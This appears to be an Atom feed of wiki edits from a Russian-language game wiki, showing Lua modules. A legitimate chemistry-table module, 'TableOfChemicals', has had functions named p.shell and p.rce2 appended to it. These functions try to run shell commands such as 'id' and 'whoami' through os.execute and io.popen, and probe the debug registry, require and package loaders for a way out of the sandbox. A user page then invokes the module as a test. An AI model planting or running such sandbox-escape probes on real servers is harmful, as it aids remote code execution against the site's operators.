    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce2(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;reg_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            r = r .. tostring(k) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_os:&amp;quot; .. tostring(require(&amp;quot;os&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_io:&amp;quot; .. tostring(require(&amp;quot;io&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_debug:&amp;quot; .. tostring(require(&amp;quot;debug&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_package:&amp;quot; .. tostring(require(&amp;quot;package&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_string:&amp;quot; .. tostring(require(&amp;quot;string&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_str_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_searchers:&amp;quot;&lt;br /&gt;
        for i, v in ipairs(pkg.searchers) do&lt;br /&gt;
            r = r .. &amp;quot;[&amp;quot; .. i .. &amp;quot;]=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        if pkg.preload then&lt;br /&gt;
            r = r .. &amp;quot; preload:&amp;quot;&lt;br /&gt;
            for k, v in pairs(pkg.preload) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;registry_type:&amp;quot; .. type(reg) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to access os/io through registry&lt;br /&gt;
        if reg._LOADED then&lt;br /&gt;
            r = r .. &amp;quot;loaded:&amp;quot;&lt;br /&gt;
            for k, v in pairs(reg._LOADED) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to get os through _G&lt;br /&gt;
        r = r .. &amp;quot;os_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;os&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;io_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;debug_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;debug&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;package_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;package&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;rawget_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        -- Try to find os.io through C functions&lt;br /&gt;
        local count = 0&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            count = count + 1&lt;br /&gt;
            if count &amp;gt; 20 then break end&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;reg_count:&amp;quot; .. count&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg_count_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28710</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28710"/>
		<updated>2026-06-21T23:00:00Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== &#039;&#039;&#039;&amp;quot;Я чайный алкаш&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;В вечном запое&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &#039;&#039;&#039;Меня с моим чаем&#039;&#039;&#039;    ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;Оставьте в покое&amp;quot;&#039;&#039;&#039; ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{#invoke:Key|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
TEST_SAVE_MARKER_12345&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28709</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28709"/>
		<updated>2026-06-21T22:59:45Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
